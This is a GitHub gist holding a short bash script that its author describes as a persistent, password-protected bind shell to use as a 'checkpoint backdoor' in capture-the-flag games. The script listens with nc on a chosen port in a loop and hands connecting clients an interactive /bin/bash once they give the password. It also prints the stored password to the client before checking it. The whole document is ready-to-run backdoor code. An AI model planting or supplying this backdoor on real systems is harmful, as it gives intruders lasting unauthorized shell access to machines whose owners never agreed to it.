Skip to content

Instantly share code, notes, and snippets.

@ignis-sec
Created September 19, 2019 17:56
Show Gist options
  • Save ignis-sec/bbafc5fccceb61196130d274066454fc to your computer and use it in GitHub Desktop.
Save ignis-sec/bbafc5fccceb61196130d274066454fc to your computer and use it in GitHub Desktop.
Persistent bind shell with a password, to use as a checkpoint backdoor in ctfs.
#!/bin/bash
ENDSOCK=0
trap 'let ENDSOCK=1' INT
if [ $1 != "-sh" ];
then
read -p "passphrase: " PASSWD
echo -n $PASSWD > .checkpoint.txt
chmod 600 .checkpoint.txt
while [ $ENDSOCK != 1 ]
do
nc -lknvp $1 -c "$0 -sh"
done
else
PASSWD=`cat .checkpoint.txt`
read -p "Gimme password or gimme liberty" PASSATMPT
echo "passwd: $PASSWD"
echo "atmpt: $PASSATMPT"
if [ "$PASSATMPT" != "$PASSWD" ];
then
echo "Get off my lawn."
else
/bin/bash 2>&1
fi
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment